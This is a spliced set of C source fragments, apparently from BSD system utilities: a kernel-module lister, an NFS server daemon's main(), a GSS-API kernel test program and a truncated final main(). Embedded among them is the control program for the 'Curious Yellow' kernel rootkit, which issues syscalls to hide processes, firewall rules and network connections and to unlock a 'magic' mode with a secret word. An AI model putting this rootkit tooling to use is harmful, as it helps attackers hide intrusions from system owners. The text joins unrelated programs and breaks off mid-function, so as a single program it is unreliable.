printf("%3d %4d %s (%d, %u, 0x%lx)\n", stat.id, stat.refs, stat.name,
stat.data.intval, stat.data.uintval, stat.data.ulongval);
} else {
printf("Id Refs Name\n");
printf("%3d %4d %s\n", stat.id, stat.refs, stat.name);
}
}
return 0;
}
if (filename != NULL) {
if ((fileid = kldfind(filename)) < 0) {
if (!quiet)
warn("can't find file %s", filename);
return 1;
} else if (quiet) {
return 0;
}
}
if (humanized)
printf("Id Refs Address%*c %5s Name\n", POINTER_WIDTH - 7, ' ', "Size");
else
printf("Id Refs Address%*c %8s Name\n", POINTER_WIDTH - 7, ' ', "Size");
if (fileid != 0)
printfile(fileid, verbose, humanized);
else
for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid))
printfile(fileid, verbose, humanized);
return 0;
}
int main(int argc, char **argv)
{
int retval,opt;
struct module_stat stat;
int module_num;
pid_t pid;
u_short numrule;
struct connection conn;
char magic[21];
char *p;
printf("Welcome to Curious Yellow\n\n");
/* first of all find the syscalls */
stat.version = sizeof(stat);
if(modstat(modfind("cy"), &stat) != 0) {
/* unable to locate module, take first argument */
if(!argv[1]) {
usage();
exit(-1);
}
module_num = atoi(argv[1]);
optind = 2;
} else {
module_num = stat.data.intval;
}
/* find out what needs to be done */
while ((opt = getopt(argc, argv, "h:u:o:c:elNUV")) != EOF) {
switch(opt) {
case 'h':
/* hide the given process */
pid = atoi(optarg);
retval = syscall(module_num,MOD_PROC_HIDE,&pid);
if(retval != 0) {
fprintf(stderr,"Unable to hide process: %s\n",strerror(errno));
exit(-1);
}
break;
case 'u':
/* unhide the given process */
pid = atoi(optarg);
retval = syscall(module_num,MOD_PROC_UNHIDE,&pid);
if(retval != 0) {
fprintf(stderr,"Unable to unhide process: %s\n",strerror(errno));
exit(-1);
}
break;
case 'o':
/* hide the given firewall rule */
numrule = atoi(optarg);
retval = syscall(module_num,MOD_HIDE_FW,&numrule);
if(retval != 0) {
fprintf(stderr,"Unable to hide firewall rule: %s\n",strerror(errno));
exit(-1);
}
break;
case 'c':
/* unhide the given firewall rule */
numrule = atoi(optarg);
retval = syscall(module_num,MOD_UNHIDE_FW,&numrule);
if(retval != 0) {
fprintf(stderr,"Unable to unhide firewall rule: %s\n",strerror(errno));
exit(-1);
}
break;
case 'e':
/* get the magic word */
printf("Magic word: ");
if(fgets(magic, 20, stdin) == NULL) {
perror("Unable to read input");
exit(-1);
}
if((p = strchr(magic, '\n')) != NULL)
*p = '\0';
retval = syscall(module_num,MOD_ENTER,magic);
if(retval != 0) {
fprintf(stderr,"Unable to enter magic mode: %s\n",strerror(errno));
exit(-1);
}
break;
case 'l':
/* leave magic user mode */
retval = syscall(module_num,MOD_LEAVE,NULL);
if(retval != 0) {
fprintf(stderr,"Unable to leave magic mode: %s\n",strerror(errno));
exit(-1);
}
break;
case 'N':
/* hide a network connection */
get_connection(&conn);
retval = syscall(module_num, MOD_NET_HIDE, &conn);
if(retval != 0) {
fprintf(stderr,"Unable to hide new network connection: %s\n",strerror(errno));
exit(-1);
}
break;
case 'U':
/* unhide a network connection */
get_connection(&conn);
retval = syscall(module_num, MOD_NET_UNHIDE, &conn);
if(retval != 0) {
fprintf(stderr,"Unable to hide new network connection: %s\n",strerror(errno));
exit(-1);
}
break;
case 'V':
/* view configured list of hidden connections */
view_connections(module_num);
break;
default:
usage();
exit(-1);
} /* switch */
} /* while */
if(optind == 1) {
usage();
exit(-1);
}
}
/*
* Nfs server daemon mostly just a user context for nfssvc()
*
* 1 - do file descriptor and signal cleanup
* 2 - fork the nfsd(s)
* 3 - create server socket(s)
* 4 - register socket with rpcbind
*
* For connectionless protocols, just pass the socket into the kernel via.
* nfssvc().
* For connection based sockets, loop doing accepts. When you get a new
* socket from accept, pass the msgsock into the kernel via. nfssvc().
* The arguments are:
* -r - reregister with rpcbind
* -d - unregister with rpcbind
* -t - support tcp nfs clients
* -u - support udp nfs clients
* -e - forces it to run a server that supports nfsv4
* followed by "n" which is the number of nfsds' to fork off
*/
int
main(int argc, char **argv)
{
struct nfsd_addsock_args addsockargs;
struct addrinfo *ai_udp, *ai_tcp, *ai_udp6, *ai_tcp6, hints;
struct netconfig *nconf_udp, *nconf_tcp, *nconf_udp6, *nconf_tcp6;
struct netbuf nb_udp, nb_tcp, nb_udp6, nb_tcp6;
struct sockaddr_in inetpeer;
struct sockaddr_in6 inet6peer;
fd_set ready, sockbits;
fd_set v4bits, v6bits;
int ch, connect_type_cnt, i, maxsock, msgsock;
socklen_t len;
int on = 1, unregister, reregister, sock;
int tcp6sock, ip6flag, tcpflag, tcpsock;
int udpflag, ecode, error, s;
int bindhostc, bindanyflag, rpcbreg, rpcbregcnt;
int nfssvc_addsock;
int longindex = 0;
const char *lopt;
char **bindhost = NULL;
pid_t pid;
nfsdcnt = DEFNFSDCNT;
unregister = reregister = tcpflag = maxsock = 0;
bindanyflag = udpflag = connect_type_cnt = bindhostc = 0;
getopt_shortopts = "ah:n:rdtue";
getopt_usage =
"usage:\n"
" nfsd [-ardtue] [-h bindip]\n"
" [-n numservers] [--minthreads #] [--maxthreads #]\n";
while ((ch = getopt_long(argc, argv, getopt_shortopts, longopts,
&longindex)) != -1)
switch (ch) {
case 'a':
bindanyflag = 1;
break;
case 'n':
set_nfsdcnt(atoi(optarg));
break;
case 'h':
bindhostc++;
bindhost = realloc(bindhost,sizeof(char *)*bindhostc);
if (bindhost == NULL)
errx(1, "Out of memory");
bindhost[bindhostc-1] = strdup(optarg);
if (bindhost[bindhostc-1] == NULL)
errx(1, "Out of memory");
break;
case 'r':
reregister = 1;
break;
case 'd':
unregister = 1;
break;
case 't':
tcpflag = 1;
break;
case 'u':
udpflag = 1;
break;
case 'e':
/* now a no-op, since this is the default */
break;
case 0:
lopt = longopts[longindex].name;
if (!strcmp(lopt, "minthreads")) {
minthreads = atoi(optarg);
} else if (!strcmp(lopt, "maxthreads")) {
maxthreads = atoi(optarg);
}
break;
default:
case '?':
usage();
}
if (!tcpflag && !udpflag)
udpflag = 1;
argv += optind;
argc -= optind;
if (minthreads_set && maxthreads_set && minthreads > maxthreads)
errx(EX_USAGE,
"error: minthreads(%d) can't be greater than "
"maxthreads(%d)", minthreads, maxthreads);
/*
* XXX
* Backward compatibility, trailing number is the count of daemons.
*/
if (argc > 1)
usage();
if (argc == 1)
set_nfsdcnt(atoi(argv[0]));
/*
* Unless the "-o" option was specified, try and run "nfsd".
* If "-o" was specified, try and run "nfsserver".
*/
if (modfind("nfsd") < 0) {
/* Not present in kernel, try loading it */
if (kldload("nfsd") < 0 || modfind("nfsd") < 0)
errx(1, "NFS server is not available");
}
ip6flag = 1;
s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
if (s == -1) {
if (errno != EPROTONOSUPPORT && errno != EAFNOSUPPORT)
err(1, "socket");
ip6flag = 0;
} else if (getnetconfigent("udp6") == NULL ||
getnetconfigent("tcp6") == NULL) {
ip6flag = 0;
}
if (s != -1)
close(s);
if (bindhostc == 0 || bindanyflag) {
bindhostc++;
bindhost = realloc(bindhost,sizeof(char *)*bindhostc);
if (bindhost == NULL)
errx(1, "Out of memory");
bindhost[bindhostc-1] = strdup("*");
if (bindhost[bindhostc-1] == NULL)
errx(1, "Out of memory");
}
if (unregister) {
unregistration();
exit (0);
}
if (reregister) {
if (udpflag) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_udp);
if (ecode != 0)
err(1, "getaddrinfo udp: %s", gai_strerror(ecode));
nconf_udp = getnetconfigent("udp");
if (nconf_udp == NULL)
err(1, "getnetconfigent udp failed");
nb_udp.buf = ai_udp->ai_addr;
nb_udp.len = nb_udp.maxlen = ai_udp->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_udp, &nb_udp)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_udp, &nb_udp)))
err(1, "rpcb_set udp failed");
freeaddrinfo(ai_udp);
}
if (udpflag && ip6flag) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_udp6);
if (ecode != 0)
err(1, "getaddrinfo udp6: %s", gai_strerror(ecode));
nconf_udp6 = getnetconfigent("udp6");
if (nconf_udp6 == NULL)
err(1, "getnetconfigent udp6 failed");
nb_udp6.buf = ai_udp6->ai_addr;
nb_udp6.len = nb_udp6.maxlen = ai_udp6->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_udp6, &nb_udp6)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_udp6, &nb_udp6)))
err(1, "rpcb_set udp6 failed");
freeaddrinfo(ai_udp6);
}
if (tcpflag) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_tcp);
if (ecode != 0)
err(1, "getaddrinfo tcp: %s", gai_strerror(ecode));
nconf_tcp = getnetconfigent("tcp");
if (nconf_tcp == NULL)
err(1, "getnetconfigent tcp failed");
nb_tcp.buf = ai_tcp->ai_addr;
nb_tcp.len = nb_tcp.maxlen = ai_tcp->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_tcp, &nb_tcp)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_tcp, &nb_tcp)))
err(1, "rpcb_set tcp failed");
freeaddrinfo(ai_tcp);
}
if (tcpflag && ip6flag) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_tcp6);
if (ecode != 0)
err(1, "getaddrinfo tcp6: %s", gai_strerror(ecode));
nconf_tcp6 = getnetconfigent("tcp6");
if (nconf_tcp6 == NULL)
err(1, "getnetconfigent tcp6 failed");
nb_tcp6.buf = ai_tcp6->ai_addr;
nb_tcp6.len = nb_tcp6.maxlen = ai_tcp6->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_tcp6, &nb_tcp6)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_tcp6, &nb_tcp6)))
err(1, "rpcb_set tcp6 failed");
freeaddrinfo(ai_tcp6);
}
exit (0);
}
if (debug == 0) {
daemon(0, 0);
(void)signal(SIGHUP, SIG_IGN);
(void)signal(SIGINT, SIG_IGN);
/*
* nfsd sits in the kernel most of the time. It needs
* to ignore SIGTERM/SIGQUIT in order to stay alive as long
* as possible during a shutdown, otherwise loopback
* mounts will not be able to unmount.
*/
(void)signal(SIGTERM, SIG_IGN);
(void)signal(SIGQUIT, SIG_IGN);
}
(void)signal(SIGSYS, nonfs);
(void)signal(SIGCHLD, reapchild);
(void)signal(SIGUSR2, backup_stable);
openlog("nfsd", LOG_PID | (debug ? LOG_PERROR : 0), LOG_DAEMON);
/*
* For V4, we open the stablerestart file and call nfssvc()
* to get it loaded. This is done before the daemons do the
* regular nfssvc() call to service NFS requests.
* (This way the file remains open until the last nfsd is killed
* off.)
* It and the backup copy will be created as empty files
* the first time this nfsd is started and should never be
* deleted/replaced if at all possible. It should live on a
* local, non-volatile storage device that does not do hardware
* level write-back caching. (See SCSI doc for more information
* on how to prevent write-back caching on SCSI disks.)
*/
open_stable(&stablefd, &backupfd);
if (stablefd < 0) {
syslog(LOG_ERR, "Can't open %s: %m\n", NFSD_STABLERESTART);
exit(1);
}
/* This system call will fail for old kernels, but that's ok. */
nfssvc(NFSSVC_BACKUPSTABLE, NULL);
if (nfssvc(NFSSVC_STABLERESTART, (caddr_t)&stablefd) < 0) {
syslog(LOG_ERR, "Can't read stable storage file: %m\n");
exit(1);
}
nfssvc_addsock = NFSSVC_NFSDADDSOCK;
nfssvc_nfsd = NFSSVC_NFSDNFSD;
if (tcpflag) {
/*
* For TCP mode, we fork once to start the first
* kernel nfsd thread. The kernel will add more
* threads as needed.
*/
pid = fork();
if (pid == -1) {
syslog(LOG_ERR, "fork: %m");
nfsd_exit(1);
}
if (pid) {
children[0] = pid;
} else {
(void)signal(SIGUSR1, child_cleanup);
setproctitle("server");
start_server(0);
}
}
(void)signal(SIGUSR1, cleanup);
FD_ZERO(&v4bits);
FD_ZERO(&v6bits);
FD_ZERO(&sockbits);
rpcbregcnt = 0;
/* Set up the socket for udp and rpcb register it. */
if (udpflag) {
rpcbreg = 0;
for (i = 0; i < bindhostc; i++) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
if (setbindhost(&ai_udp, bindhost[i], hints) == 0) {
rpcbreg = 1;
rpcbregcnt++;
if ((sock = socket(ai_udp->ai_family,
ai_udp->ai_socktype,
ai_udp->ai_protocol)) < 0) {
syslog(LOG_ERR,
"can't create udp socket");
nfsd_exit(1);
}
if (bind(sock, ai_udp->ai_addr,
ai_udp->ai_addrlen) < 0) {
syslog(LOG_ERR,
"can't bind udp addr %s: %m",
bindhost[i]);
nfsd_exit(1);
}
freeaddrinfo(ai_udp);
addsockargs.sock = sock;
addsockargs.name = NULL;
addsockargs.namelen = 0;
if (nfssvc(nfssvc_addsock, &addsockargs) < 0) {
syslog(LOG_ERR, "can't Add UDP socket");
nfsd_exit(1);
}
(void)close(sock);
}
}
if (rpcbreg == 1) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_udp);
if (ecode != 0) {
syslog(LOG_ERR, "getaddrinfo udp: %s",
gai_strerror(ecode));
nfsd_exit(1);
}
nconf_udp = getnetconfigent("udp");
if (nconf_udp == NULL)
err(1, "getnetconfigent udp failed");
nb_udp.buf = ai_udp->ai_addr;
nb_udp.len = nb_udp.maxlen = ai_udp->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_udp, &nb_udp)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_udp, &nb_udp)))
err(1, "rpcb_set udp failed");
freeaddrinfo(ai_udp);
}
}
/* Set up the socket for udp6 and rpcb register it. */
if (udpflag && ip6flag) {
rpcbreg = 0;
for (i = 0; i < bindhostc; i++) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
if (setbindhost(&ai_udp6, bindhost[i], hints) == 0) {
rpcbreg = 1;
rpcbregcnt++;
if ((sock = socket(ai_udp6->ai_family,
ai_udp6->ai_socktype,
ai_udp6->ai_protocol)) < 0) {
syslog(LOG_ERR,
"can't create udp6 socket");
nfsd_exit(1);
}
if (setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY,
&on, sizeof on) < 0) {
syslog(LOG_ERR,
"can't set v6-only binding for "
"udp6 socket: %m");
nfsd_exit(1);
}
if (bind(sock, ai_udp6->ai_addr,
ai_udp6->ai_addrlen) < 0) {
syslog(LOG_ERR,
"can't bind udp6 addr %s: %m",
bindhost[i]);
nfsd_exit(1);
}
freeaddrinfo(ai_udp6);
addsockargs.sock = sock;
addsockargs.name = NULL;
addsockargs.namelen = 0;
if (nfssvc(nfssvc_addsock, &addsockargs) < 0) {
syslog(LOG_ERR,
"can't add UDP6 socket");
nfsd_exit(1);
}
(void)close(sock);
}
}
if (rpcbreg == 1) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_protocol = IPPROTO_UDP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_udp6);
if (ecode != 0) {
syslog(LOG_ERR, "getaddrinfo udp6: %s",
gai_strerror(ecode));
nfsd_exit(1);
}
nconf_udp6 = getnetconfigent("udp6");
if (nconf_udp6 == NULL)
err(1, "getnetconfigent udp6 failed");
nb_udp6.buf = ai_udp6->ai_addr;
nb_udp6.len = nb_udp6.maxlen = ai_udp6->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_udp6, &nb_udp6)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_udp6, &nb_udp6)))
err(1, "rpcb_set udp6 failed");
freeaddrinfo(ai_udp6);
}
}
/* Set up the socket for tcp and rpcb register it. */
if (tcpflag) {
rpcbreg = 0;
for (i = 0; i < bindhostc; i++) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (setbindhost(&ai_tcp, bindhost[i], hints) == 0) {
rpcbreg = 1;
rpcbregcnt++;
if ((tcpsock = socket(AF_INET, SOCK_STREAM,
0)) < 0) {
syslog(LOG_ERR,
"can't create tcp socket");
nfsd_exit(1);
}
if (setsockopt(tcpsock, SOL_SOCKET,
SO_REUSEADDR,
(char *)&on, sizeof(on)) < 0)
syslog(LOG_ERR,
"setsockopt SO_REUSEADDR: %m");
if (bind(tcpsock, ai_tcp->ai_addr,
ai_tcp->ai_addrlen) < 0) {
syslog(LOG_ERR,
"can't bind tcp addr %s: %m",
bindhost[i]);
nfsd_exit(1);
}
if (listen(tcpsock, -1) < 0) {
syslog(LOG_ERR, "listen failed");
nfsd_exit(1);
}
freeaddrinfo(ai_tcp);
FD_SET(tcpsock, &sockbits);
FD_SET(tcpsock, &v4bits);
maxsock = tcpsock;
connect_type_cnt++;
}
}
if (rpcbreg == 1) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
ecode = getaddrinfo(NULL, "nfs", &hints,
&ai_tcp);
if (ecode != 0) {
syslog(LOG_ERR, "getaddrinfo tcp: %s",
gai_strerror(ecode));
nfsd_exit(1);
}
nconf_tcp = getnetconfigent("tcp");
if (nconf_tcp == NULL)
err(1, "getnetconfigent tcp failed");
nb_tcp.buf = ai_tcp->ai_addr;
nb_tcp.len = nb_tcp.maxlen = ai_tcp->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_tcp,
&nb_tcp)) || (!rpcb_set(NFS_PROGRAM, 3,
nconf_tcp, &nb_tcp)))
err(1, "rpcb_set tcp failed");
freeaddrinfo(ai_tcp);
}
}
/* Set up the socket for tcp6 and rpcb register it. */
if (tcpflag && ip6flag) {
rpcbreg = 0;
for (i = 0; i < bindhostc; i++) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (setbindhost(&ai_tcp6, bindhost[i], hints) == 0) {
rpcbreg = 1;
rpcbregcnt++;
if ((tcp6sock = socket(ai_tcp6->ai_family,
ai_tcp6->ai_socktype,
ai_tcp6->ai_protocol)) < 0) {
syslog(LOG_ERR,
"can't create tcp6 socket");
nfsd_exit(1);
}
if (setsockopt(tcp6sock, SOL_SOCKET,
SO_REUSEADDR,
(char *)&on, sizeof(on)) < 0)
syslog(LOG_ERR,
"setsockopt SO_REUSEADDR: %m");
if (setsockopt(tcp6sock, IPPROTO_IPV6,
IPV6_V6ONLY, &on, sizeof on) < 0) {
syslog(LOG_ERR,
"can't set v6-only binding for tcp6 "
"socket: %m");
nfsd_exit(1);
}
if (bind(tcp6sock, ai_tcp6->ai_addr,
ai_tcp6->ai_addrlen) < 0) {
syslog(LOG_ERR,
"can't bind tcp6 addr %s: %m",
bindhost[i]);
nfsd_exit(1);
}
if (listen(tcp6sock, -1) < 0) {
syslog(LOG_ERR, "listen failed");
nfsd_exit(1);
}
freeaddrinfo(ai_tcp6);
FD_SET(tcp6sock, &sockbits);
FD_SET(tcp6sock, &v6bits);
if (maxsock < tcp6sock)
maxsock = tcp6sock;
connect_type_cnt++;
}
}
if (rpcbreg == 1) {
memset(&hints, 0, sizeof hints);
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET6;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
ecode = getaddrinfo(NULL, "nfs", &hints, &ai_tcp6);
if (ecode != 0) {
syslog(LOG_ERR, "getaddrinfo tcp6: %s",
gai_strerror(ecode));
nfsd_exit(1);
}
nconf_tcp6 = getnetconfigent("tcp6");
if (nconf_tcp6 == NULL)
err(1, "getnetconfigent tcp6 failed");
nb_tcp6.buf = ai_tcp6->ai_addr;
nb_tcp6.len = nb_tcp6.maxlen = ai_tcp6->ai_addrlen;
if ((!rpcb_set(NFS_PROGRAM, 2, nconf_tcp6, &nb_tcp6)) ||
(!rpcb_set(NFS_PROGRAM, 3, nconf_tcp6, &nb_tcp6)))
err(1, "rpcb_set tcp6 failed");
freeaddrinfo(ai_tcp6);
}
}
if (rpcbregcnt == 0) {
syslog(LOG_ERR, "rpcb_set() failed, nothing to do: %m");
nfsd_exit(1);
}
if (tcpflag && connect_type_cnt == 0) {
syslog(LOG_ERR, "tcp connects == 0, nothing to do: %m");
nfsd_exit(1);
}
setproctitle("master");
/*
* We always want a master to have a clean way to to shut nfsd down
* (with unregistration): if the master is killed, it unregisters and
* kills all children. If we run for UDP only (and so do not have to
* loop waiting waiting for accept), we instead make the parent
* a "server" too. start_server will not return.
*/
if (!tcpflag)
start_server(1);
/*
* Loop forever accepting connections and passing the sockets
* into the kernel for the mounts.
*/
for (;;) {
ready = sockbits;
if (connect_type_cnt > 1) {
if (select(maxsock + 1,
&ready, NULL, NULL, NULL) < 1) {
error = errno;
if (error == EINTR)
continue;
syslog(LOG_ERR, "select failed: %m");
nfsd_exit(1);
}
}
for (tcpsock = 0; tcpsock <= maxsock; tcpsock++) {
if (FD_ISSET(tcpsock, &ready)) {
if (FD_ISSET(tcpsock, &v4bits)) {
len = sizeof(inetpeer);
if ((msgsock = accept(tcpsock,
(struct sockaddr *)&inetpeer, &len)) < 0) {
error = errno;
syslog(LOG_ERR, "accept failed: %m");
if (error == ECONNABORTED ||
error == EINTR)
continue;
nfsd_exit(1);
}
memset(inetpeer.sin_zero, 0,
sizeof(inetpeer.sin_zero));
if (setsockopt(msgsock, SOL_SOCKET,
SO_KEEPALIVE, (char *)&on, sizeof(on)) < 0)
syslog(LOG_ERR,
"setsockopt SO_KEEPALIVE: %m");
addsockargs.sock = msgsock;
addsockargs.name = (caddr_t)&inetpeer;
addsockargs.namelen = len;
nfssvc(nfssvc_addsock, &addsockargs);
(void)close(msgsock);
} else if (FD_ISSET(tcpsock, &v6bits)) {
len = sizeof(inet6peer);
if ((msgsock = accept(tcpsock,
(struct sockaddr *)&inet6peer,
&len)) < 0) {
error = errno;
syslog(LOG_ERR,
"accept failed: %m");
if (error == ECONNABORTED ||
error == EINTR)
continue;
nfsd_exit(1);
}
if (setsockopt(msgsock, SOL_SOCKET,
SO_KEEPALIVE, (char *)&on,
sizeof(on)) < 0)
syslog(LOG_ERR, "setsockopt "
"SO_KEEPALIVE: %m");
addsockargs.sock = msgsock;
addsockargs.name = (caddr_t)&inet6peer;
addsockargs.namelen = len;
nfssvc(nfssvc_addsock, &addsockargs);
(void)close(msgsock);
}
}
}
}
}
int
main(int argc, char **argv)
{
struct module_stat stat;
int mod;
int syscall_num;
stat.version = sizeof(stat);
mod = modfind("gsstest_syscall");
if (mod < 0) {
fprintf(stderr, "%s: kernel support not present\n", argv[0]);
exit(1);
}
modstat(mod, &stat);
syscall_num = stat.data.intval;
switch (atoi(argv[1])) {
case 1:
syscall(syscall_num, 1, NULL, NULL);
break;
case 2: {
struct gsstest_2_args args;
struct gsstest_2_res res;
char hostname[512];
char token_buffer[8192];
OM_uint32 maj_stat, min_stat;
gss_ctx_id_t client_context = GSS_C_NO_CONTEXT;
gss_cred_id_t client_cred;
gss_OID mech_type = GSS_C_NO_OID;
gss_buffer_desc name_buf, message_buf;
gss_name_t name;
int32_t enctypes[] = {
ETYPE_DES_CBC_CRC,
ETYPE_ARCFOUR_HMAC_MD5,
ETYPE_ARCFOUR_HMAC_MD5_56,
ETYPE_AES256_CTS_HMAC_SHA1_96,
ETYPE_AES128_CTS_HMAC_SHA1_96,
ETYPE_DES3_CBC_SHA1,
};
int num_enctypes = sizeof(enctypes) / sizeof(enctypes[0]);
int established;
int i;
for (i = 0; i < num_enctypes; i++) {
printf("testing etype %d\n", enctypes[i]);
args.output_token.length = sizeof(token_buffer);
args.output_token.value = token_buffer;
gethostname(hostname, sizeof(hostname));
snprintf(token_buffer, sizeof(token_buffer),
"nfs@%s", hostname);
name_buf.length = strlen(token_buffer);
name_buf.value = token_buffer;
maj_stat = gss_import_name(&min_stat, &name_buf,
GSS_C_NT_HOSTBASED_SERVICE, &name);
if (GSS_ERROR(maj_stat)) {
printf("gss_import_name failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
maj_stat = gss_acquire_cred(&min_stat, GSS_C_NO_NAME,
0, GSS_C_NO_OID_SET, GSS_C_INITIATE, &client_cred,
NULL, NULL);
if (GSS_ERROR(maj_stat)) {
printf("gss_acquire_cred (client) failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
maj_stat = gss_krb5_set_allowable_enctypes(&min_stat,
client_cred, 1, &enctypes[i]);
if (GSS_ERROR(maj_stat)) {
printf("gss_krb5_set_allowable_enctypes failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
res.output_token.length = 0;
res.output_token.value = 0;
established = 0;
while (!established) {
maj_stat = gss_init_sec_context(&min_stat,
client_cred,
&client_context,
name,
GSS_C_NO_OID,
(GSS_C_MUTUAL_FLAG
|GSS_C_CONF_FLAG
|GSS_C_INTEG_FLAG
|GSS_C_SEQUENCE_FLAG
|GSS_C_REPLAY_FLAG),
0,
GSS_C_NO_CHANNEL_BINDINGS,
&res.output_token,
&mech_type,
&args.input_token,
NULL,
NULL);
if (GSS_ERROR(maj_stat)) {
printf("gss_init_sec_context failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
if (args.input_token.length) {
args.step = 1;
syscall(syscall_num, 2, &args, &res);
gss_release_buffer(&min_stat,
&args.input_token);
if (res.maj_stat != GSS_S_COMPLETE
&& res.maj_stat != GSS_S_CONTINUE_NEEDED) {
printf("gss_accept_sec_context (kernel) failed\n");
report_error(mech_type, res.maj_stat,
res.min_stat);
goto out;
}
}
if (maj_stat == GSS_S_COMPLETE)
established = 1;
}
message_buf.value = "Hello world";
message_buf.length = strlen((char *) message_buf.value);
maj_stat = gss_get_mic(&min_stat, client_context,
GSS_C_QOP_DEFAULT, &message_buf, &args.input_token);
if (GSS_ERROR(maj_stat)) {
printf("gss_get_mic failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
args.step = 2;
syscall(syscall_num, 2, &args, &res);
gss_release_buffer(&min_stat, &args.input_token);
if (GSS_ERROR(res.maj_stat)) {
printf("kernel gss_verify_mic failed\n");
report_error(mech_type, res.maj_stat, res.min_stat);
goto out;
}
maj_stat = gss_verify_mic(&min_stat, client_context,
&message_buf, &res.output_token, NULL);
if (GSS_ERROR(maj_stat)) {
printf("gss_verify_mic failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
maj_stat = gss_wrap(&min_stat, client_context,
TRUE, GSS_C_QOP_DEFAULT, &message_buf, NULL,
&args.input_token);
if (GSS_ERROR(maj_stat)) {
printf("gss_wrap failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
args.step = 3;
syscall(syscall_num, 2, &args, &res);
gss_release_buffer(&min_stat, &args.input_token);
if (GSS_ERROR(res.maj_stat)) {
printf("kernel gss_unwrap failed\n");
report_error(mech_type, res.maj_stat, res.min_stat);
goto out;
}
maj_stat = gss_unwrap(&min_stat, client_context,
&res.output_token, &message_buf, NULL, NULL);
if (GSS_ERROR(maj_stat)) {
printf("gss_unwrap failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
gss_release_buffer(&min_stat, &message_buf);
maj_stat = gss_wrap(&min_stat, client_context,
FALSE, GSS_C_QOP_DEFAULT, &message_buf, NULL,
&args.input_token);
if (GSS_ERROR(maj_stat)) {
printf("gss_wrap failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
args.step = 4;
syscall(syscall_num, 2, &args, &res);
gss_release_buffer(&min_stat, &args.input_token);
if (GSS_ERROR(res.maj_stat)) {
printf("kernel gss_unwrap failed\n");
report_error(mech_type, res.maj_stat, res.min_stat);
goto out;
}
maj_stat = gss_unwrap(&min_stat, client_context,
&res.output_token, &message_buf, NULL, NULL);
if (GSS_ERROR(maj_stat)) {
printf("gss_unwrap failed\n");
report_error(mech_type, maj_stat, min_stat);
goto out;
}
gss_release_buffer(&min_stat, &message_buf);
args.step = 5;
syscall(syscall_num, 2, &args, &res);
gss_release_name(&min_stat, &name);
gss_release_cred(&min_stat, &client_cred);
gss_delete_sec_context(&min_stat, &client_context,
GSS_C_NO_BUFFER);
}
break;
}
case 3:
syscall(syscall_num, 3, NULL, NULL);
break;
case 4:
syscall(syscall_num, 4, NULL, NULL);
break;
}
return (0);
out:
return (1);
}
int
main(int ac, char *av[])
{
int ch, res, rv, nread;
